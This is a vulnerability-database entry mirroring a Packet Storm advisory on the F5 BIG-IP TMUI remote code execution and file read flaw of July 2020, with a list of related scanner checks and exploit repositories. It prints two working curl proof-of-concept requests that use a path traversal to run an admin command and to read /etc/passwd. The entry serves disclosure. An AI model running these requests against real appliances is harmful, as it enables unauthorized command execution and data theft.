Lucene search

BIG-IP TMUI Remote Code Execution

🗓️ 07 Jul 2020 00:00:00Reported by Budi KhoirudinType

packetstorm🔗 packetstormsecurity.com👁 261 Views

BIG-IP TMUI Remote Code Execution and File Read Vulnerability

5 of 5AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

Reporter	Title	Published	Views	Family All 130
Tenable Nessus	F5 Networks BIG-IP : TMUI RCE (CVE-2020-5902) (Direct Check)	6 Jul 202000:00	–	nessus
Tenable Nessus	F5 Networks BIG-IP : TMUI RCE vulnerability (K52145254)	1 Jul 202000:00	–	nessus
GithubExploit	Exploit for Path Traversal in F5 Big-Ip Access Policy Manager	10 Jul 202007:49	–	githubexploit
GithubExploit	Exploit for Path Traversal in F5 Big-Ip Access Policy Manager	12 Jul 202007:49	–	githubexploit
GithubExploit	Exploit for Path Traversal in F5 Big-Ip Access Policy Manager	6 Jul 202010:36	–	githubexploit
GithubExploit	Exploit for Path Traversal in F5 Big-Ip Access Policy Manager	5 Jul 202006:19	–	githubexploit
GithubExploit	Exploit for Path Traversal in F5 Big-Ip Access Policy Manager	7 Jul 202011:42	–	githubexploit
GithubExploit	Exploit for Path Traversal in F5 Big-Ip Access Policy Manager	6 Jul 202006:58	–	githubexploit
GithubExploit	Exploit for Path Traversal in F5 Big-Ip Access Policy Manager	8 Jul 202004:02	–	githubexploit
GithubExploit	Exploit for Path Traversal in F5 Big-Ip Access Policy Manager	5 Jul 202017:01	–	githubexploit

`## RCE:   
  
curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'  
  
## Read File:   
  
curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'  
  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo

07 Jul 2020 00:00Current

0.5Low risk

Vulners AI Score0.5

EPSS0.94442